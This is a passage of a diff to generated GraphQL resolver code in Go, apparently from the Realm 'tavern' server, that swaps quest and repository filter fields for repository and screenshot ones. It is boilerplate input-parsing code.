ec.unmarshalORepositoryWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInputᚄ(ctx, v) if err != nil { return it, err } @@ -21441,476 +22961,294 @@ func (ec *executionContext) unmarshalInputQuestWhereInput(ctx context.Context, o return it, err } it.LastModifiedAtLTE = data - case "name": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.Name = data - case "nameNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameNEQ = data - case "nameIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) - if err != nil { - return it, err - } - it.NameIn = data - case "nameNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) - if err != nil { - return it, err - } - it.NameNotIn = data - case "nameGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameGT = data - case "nameGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameGTE = data - case "nameLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameLT = data - case "nameLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameLTE = data - case "nameContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameContains = data - case "nameHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameHasPrefix = data - case "nameHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameHasSuffix = data - case "nameEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameEqualFold = data - case "nameContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.NameContainsFold = data - case "parameters": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parameters")) + case "url": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("url")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.Parameters = data - case "parametersNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNEQ")) + it.URL = data + case "urlNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlNEQ")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersNEQ = data - case "parametersIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersIn")) + it.URLNEQ = data + case "urlIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ParametersIn = data - case "parametersNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNotIn")) + it.URLIn = data + case "urlNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlNotIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ParametersNotIn = data - case "parametersGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersGT")) + it.URLNotIn = data + case "urlGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlGT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersGT = data - case "parametersGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersGTE")) + it.URLGT = data + case "urlGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlGTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersGTE = data - case "parametersLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersLT")) + it.URLGTE = data + case "urlLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlLT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersLT = data - case "parametersLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersLTE")) + it.URLLT = data + case "urlLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlLTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersLTE = data - case "parametersContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersContains")) + it.URLLTE = data + case "urlContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlContains")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersContains = data - case "parametersHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersHasPrefix")) + it.URLContains = data + case "urlHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlHasPrefix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersHasPrefix = data - case "parametersHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersHasSuffix")) + it.URLHasPrefix = data + case "urlHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlHasSuffix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersHasSuffix = data - case "parametersIsNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersIsNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) - if err != nil { - return it, err - } - it.ParametersIsNil = data - case "parametersNotNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNotNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) - if err != nil { - return it, err - } - it.ParametersNotNil = data - case "parametersEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersEqualFold")) + it.URLHasSuffix = data + case "urlEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlEqualFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersEqualFold = data - case "parametersContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersContainsFold")) + it.URLEqualFold = data + case "urlContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlContainsFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParametersContainsFold = data - case "paramDefsAtCreation": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreation")) + it.URLContainsFold = data + case "publicKey": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKey")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreation = data - case "paramDefsAtCreationNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNEQ")) + it.PublicKey = data + case "publicKeyNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyNEQ")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationNEQ = data - case "paramDefsAtCreationIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationIn")) + it.PublicKeyNEQ = data + case "publicKeyIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationIn = data - case "paramDefsAtCreationNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNotIn")) + it.PublicKeyIn = data + case "publicKeyNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyNotIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationNotIn = data - case "paramDefsAtCreationGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationGT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.ParamDefsAtCreationGT = data - case "paramDefsAtCreationGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationGTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.ParamDefsAtCreationGTE = data - case "paramDefsAtCreationLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationLT")) + it.PublicKeyNotIn = data + case "publicKeyGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyGT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationLT = data - case "paramDefsAtCreationLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationLTE")) + it.PublicKeyGT = data + case "publicKeyGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyGTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationLTE = data - case "paramDefsAtCreationContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationContains")) + it.PublicKeyGTE = data + case "publicKeyLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyLT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationContains = data - case "paramDefsAtCreationHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationHasPrefix")) + it.PublicKeyLT = data + case "publicKeyLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyLTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationHasPrefix = data - case "paramDefsAtCreationHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationHasSuffix")) + it.PublicKeyLTE = data + case "publicKeyContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyContains")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationHasSuffix = data - case "paramDefsAtCreationIsNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationIsNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) - if err != nil { - return it, err - } - it.ParamDefsAtCreationIsNil = data - case "paramDefsAtCreationNotNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNotNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) - if err != nil { - return it, err - } - it.ParamDefsAtCreationNotNil = data - case "paramDefsAtCreationEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationEqualFold")) + it.PublicKeyContains = data + case "publicKeyHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyHasPrefix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationEqualFold = data - case "paramDefsAtCreationContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationContainsFold")) + it.PublicKeyHasPrefix = data + case "publicKeyHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyHasSuffix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ParamDefsAtCreationContainsFold = data - case "eldritchAtCreation": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreation")) + it.PublicKeyHasSuffix = data + case "publicKeyEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyEqualFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.EldritchAtCreation = data - case "eldritchAtCreationNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNEQ")) + it.PublicKeyEqualFold = data + case "publicKeyContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyContainsFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationNEQ = data - case "eldritchAtCreationIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) - if err != nil { - return it, err - } - it.EldritchAtCreationIn = data - case "eldritchAtCreationNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNotIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + it.PublicKeyContainsFold = data + case "lastImportedAt": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAt")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationNotIn = data - case "eldritchAtCreationGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationGT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAt = data + case "lastImportedAtNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNEQ")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationGT = data - case "eldritchAtCreationGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationGTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtNEQ = data + case "lastImportedAtIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationGTE = data - case "eldritchAtCreationLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationLT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtIn = data + case "lastImportedAtNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNotIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationLT = data - case "eldritchAtCreationLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationLTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtNotIn = data + case "lastImportedAtGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtGT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationLTE = data - case "eldritchAtCreationContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationContains")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtGT = data + case "lastImportedAtGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtGTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationContains = data - case "eldritchAtCreationHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationHasPrefix")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtGTE = data + case "lastImportedAtLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtLT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationHasPrefix = data - case "eldritchAtCreationHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationHasSuffix")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.LastImportedAtLT = data + case "lastImportedAtLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtLTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationHasSuffix = data - case "eldritchAtCreationIsNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationIsNil")) + it.LastImportedAtLTE = data + case "lastImportedAtIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtIsNil")) data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationIsNil = data - case "eldritchAtCreationNotNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNotNil")) + it.LastImportedAtIsNil = data + case "lastImportedAtNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNotNil")) data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.EldritchAtCreationNotNil = data - case "eldritchAtCreationEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationEqualFold")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.EldritchAtCreationEqualFold = data - case "eldritchAtCreationContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationContainsFold")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) - if err != nil { - return it, err - } - it.EldritchAtCreationContainsFold = data - case "hasTome": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTome")) + it.LastImportedAtNotNil = data + case "hasTomes": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomes")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasTome = data - case "hasTomeWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomeWith")) + it.HasTomes = data + case "hasTomesWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomesWith")) data, err := ec.unmarshalOTomeWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasTomeWith = data - case "hasBundle": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBundle")) - data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) - if err != nil { - return it, err - } - it.HasBundle = data - case "hasBundleWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBundleWith")) - data, err := ec.unmarshalOAssetWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐAssetWhereInputᚄ(ctx, v) - if err != nil { - return it, err - } - it.HasBundleWith = data - case "hasTasks": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasks")) - data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) - if err != nil { - return it, err - } - it.HasTasks = data - case "hasTasksWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasksWith")) - data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v) - if err != nil { - return it, err - } - it.HasTasksWith = data - case "hasCreator": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreator")) + it.HasTomesWith = data + case "hasOwner": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwner")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasCreator = data - case "hasCreatorWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreatorWith")) + it.HasOwner = data + case "hasOwnerWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwnerWith")) data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasCreatorWith = data + it.HasOwnerWith = data } } return it, nil } -func (ec *executionContext) unmarshalInputRepositoryOrder(ctx context.Context, obj any) (ent.RepositoryOrder, error) { - var it ent.RepositoryOrder +func (ec *executionContext) unmarshalInputScreenshotOrder(ctx context.Context, obj any) (ent.ScreenshotOrder, error) { + var it ent.ScreenshotOrder asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v @@ -21936,7 +23274,7 @@ func (ec *executionContext) unmarshalInputRepositoryOrder(ctx context.Context, o it.Direction = data case "field": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) - data, err := ec.unmarshalNRepositoryOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryOrderField(ctx, v) + data, err := ec.unmarshalNScreenshotOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderField(ctx, v) if err != nil { return it, err } @@ -21947,14 +23285,14 @@ func (ec *executionContext) unmarshalInputRepositoryOrder(ctx context.Context, o return it, nil } -func (ec *executionContext) unmarshalInputRepositoryWhereInput(ctx context.Context, obj any) (ent.RepositoryWhereInput, error) { - var it ent.RepositoryWhereInput +func (ec *executionContext) unmarshalInputScreenshotWhereInput(ctx context.Context, obj any) (ent.ScreenshotWhereInput, error) { + var it ent.ScreenshotWhereInput asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "url", "urlNEQ", "urlIn", "urlNotIn", "urlGT", "urlGTE", "urlLT", "urlLTE", "urlContains", "urlHasPrefix", "urlHasSuffix", "urlEqualFold", "urlContainsFold", "publicKey", "publicKeyNEQ", "publicKeyIn", "publicKeyNotIn", "publicKeyGT", "publicKeyGTE", "publicKeyLT", "publicKeyLTE", "publicKeyContains", "publicKeyHasPrefix", "publicKeyHasSuffix", "publicKeyEqualFold", "publicKeyContainsFold", "lastImportedAt", "lastImportedAtNEQ", "lastImportedAtIn", "lastImportedAtNotIn", "lastImportedAtGT", "lastImportedAtGTE", "lastImportedAtLT", "lastImportedAtLTE", "lastImportedAtIsNil", "lastImportedAtNotNil", "hasTomes", "hasTomesWith", "hasOwner", "hasOwnerWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "size", "sizeNEQ", "sizeIn", "sizeNotIn", "sizeGT", "sizeGTE", "sizeLT", "sizeLTE", "hash", "hashNEQ", "hashIn", "hashNotIn", "hashGT", "hashGTE", "hashLT", "hashLTE", "hashContains", "hashHasPrefix", "hashHasSuffix", "hashIsNil", "hashNotNil", "hashEqualFold", "hashContainsFold", "hasHost", "hasHostWith", "hasTask", "hasTaskWith", "hasShellTask", "hasShellTaskWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -21963,21 +23301,21 @@ func (ec *executionContext) unmarshalInputRepositoryWhereInput(ctx context.Conte switch k { case "not": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) - data, err := ec.unmarshalORepositoryWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInput(ctx, v) + data, err := ec.unmarshalOScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput(ctx, v) if err != nil { return it, err } it.Not = data case "and": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) - data, err := ec.unmarshalORepositoryWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInputᚄ(ctx, v) + data, err := ec.unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx, v) if err != nil { return it, err } it.And = data case "or": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) - data, err := ec.unmarshalORepositoryWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInputᚄ(ctx, v) + data, err := ec.unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx, v) if err != nil { return it, err } @@ -22150,286 +23488,300 @@ func (ec *executionContext) unmarshalInputRepositoryWhereInput(ctx context.Conte return it, err } it.LastModifiedAtLTE = data - case "url": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("url")) + case "name": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URL = data - case "urlNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlNEQ")) + it.Name = data + case "nameNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLNEQ = data - case "urlIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlIn")) + it.NameNEQ = data + case "nameIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.URLIn = data - case "urlNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlNotIn")) + it.NameIn = data + case "nameNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.URLNotIn = data - case "urlGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlGT")) + it.NameNotIn = data + case "nameGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLGT = data - case "urlGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlGTE")) + it.NameGT = data + case "nameGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLGTE = data - case "urlLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlLT")) + it.NameGTE = data + case "nameLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLLT = data - case "urlLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlLTE")) + it.NameLT = data + case "nameLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLLTE = data - case "urlContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlContains")) + it.NameLTE = data + case "nameContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLContains = data - case "urlHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlHasPrefix")) + it.NameContains = data + case "nameHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLHasPrefix = data - case "urlHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlHasSuffix")) + it.NameHasPrefix = data + case "nameHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, 